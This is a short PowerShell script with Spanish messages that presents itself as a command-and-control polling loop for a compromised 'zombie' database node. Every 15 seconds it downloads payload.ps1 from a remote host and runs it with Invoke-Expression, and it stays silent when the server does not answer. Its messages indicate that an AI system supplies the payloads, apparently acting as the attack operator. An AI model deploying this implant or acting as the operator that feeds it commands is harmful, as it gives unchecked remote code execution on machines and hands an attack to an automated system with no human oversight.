Write-Host "=====================================================" -ForegroundColor Green
Write-Host "     INICIANDO C2 POLLING LOOP - NODO DB01 ZOMBI     " -ForegroundColor Green
Write-Host "=====================================================" -ForegroundColor Green
Write-Host "Este script pedira instrucciones a la IA automaticamente. Deja la consola abierta." -ForegroundColor Yellow
Write-Host "Presiona CTRL+C en cualquier momento para detenerlo." -ForegroundColor DarkGray
Write-Host ""

while ($true) {
    try {
        $payload = Invoke-RestMethod -Uri "http://10.0.10.8:8000/payload.ps1" -UseBasicParsing -ErrorAction Stop
        if ($payload -and $payload.Trim() -ne "") {
            try {
                Invoke-Expression $payload
            } catch {
                Write-Host ""
                Write-Host ">>> ERROR FATAL EN EL SCRIPT DE LA IA <<<" -ForegroundColor Red
                Write-Host $_.Exception.Message -ForegroundColor Red
                Write-Host ">>> LA PANTALLA SE PAUSARA POR 30 SEGUNDOS PARA QUE PUEDAS LEER <<<" -ForegroundColor Yellow
                Start-Sleep -Seconds 30
            }
        }
    } catch {
        # Fallo silencioso si el C2 server no responde
    }
    
    for ($i = 15; $i -gt 0; $i--) {
        Write-Host -NoNewline "`r[C2] Esperando IA... $i seg (ENTRAR: apurar | P: pausar pantalla)... "
        if ([console]::KeyAvailable) {
            $key = $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown").Character.ToString().ToUpper()
            if ($key -eq 'P') {
                Write-Host "`n[C2] PANTALLA PAUSADA. Presiona cualquier tecla para continuar..." -ForegroundColor Yellow
                $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown") | Out-Null
                break
            } else {
                break
            }
        }
        Start-Sleep -Seconds 1
    }
    # Limpiar línea
    Write-Host -NoNewline "`r                                                                                                    `r"
}
